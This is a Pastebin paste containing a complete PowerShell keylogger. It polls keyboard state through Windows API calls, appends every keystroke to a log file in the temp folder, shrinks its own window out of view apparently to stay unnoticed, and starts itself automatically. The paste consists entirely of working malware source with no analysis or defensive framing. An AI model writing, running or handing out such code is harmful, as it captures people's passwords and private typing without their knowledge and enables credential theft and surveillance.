Advertisement
Guest User

Untitled

a guest
Jun 19th, 2019
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.11 KB | None | 0 0
  1. function Start-KeyLogger($Path="$env:temp\temp-logs.log")
  2. {
  3. # Signatures for API Calls
  4. $signatures = @'
  5. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  6. public static extern short GetAsyncKeyState(int virtualKeyCode);
  7. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  8. public static extern int GetKeyboardState(byte[] keystate);
  9. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  10. public static extern int MapVirtualKey(uint uCode, int uMapType);
  11. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  12. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  13. '@
  14.  
  15. $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  16.  
  17. $null = New-Item -Path $Path -ItemType File -Force
  18.  
  19. try
  20. {
  21. Add-Type -Name win -MemberDefinition '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);' -Namespace native
  22. $h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)
  23.  
  24.  
  25. while ($true) {
  26. Start-Sleep -Milliseconds 40
  27.  
  28.  
  29. for ($ascii = 9; $ascii -le 254; $ascii++) {
  30. $state = $API::GetAsyncKeyState($ascii)
  31.  
  32.  
  33. if ($state -eq -32767) {
  34. $null = [console]::CapsLock
  35.  
  36.  
  37. $virtualKey = $API::MapVirtualKey($ascii, 3)
  38.  
  39.  
  40. $kbstate = New-Object Byte[] 256
  41. $checkkbstate = $API::GetKeyboardState($kbstate)
  42.  
  43.  
  44. $mychar = New-Object -TypeName System.Text.StringBuilder
  45.  
  46.  
  47. $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  48.  
  49. if ($success)
  50. {
  51.  
  52. [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  53. }
  54. }
  55. }
  56. }
  57. }
  58. finally
  59. {
  60.  
  61. notepad
  62. }
  63. }
  64.  
  65.  
  66. Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement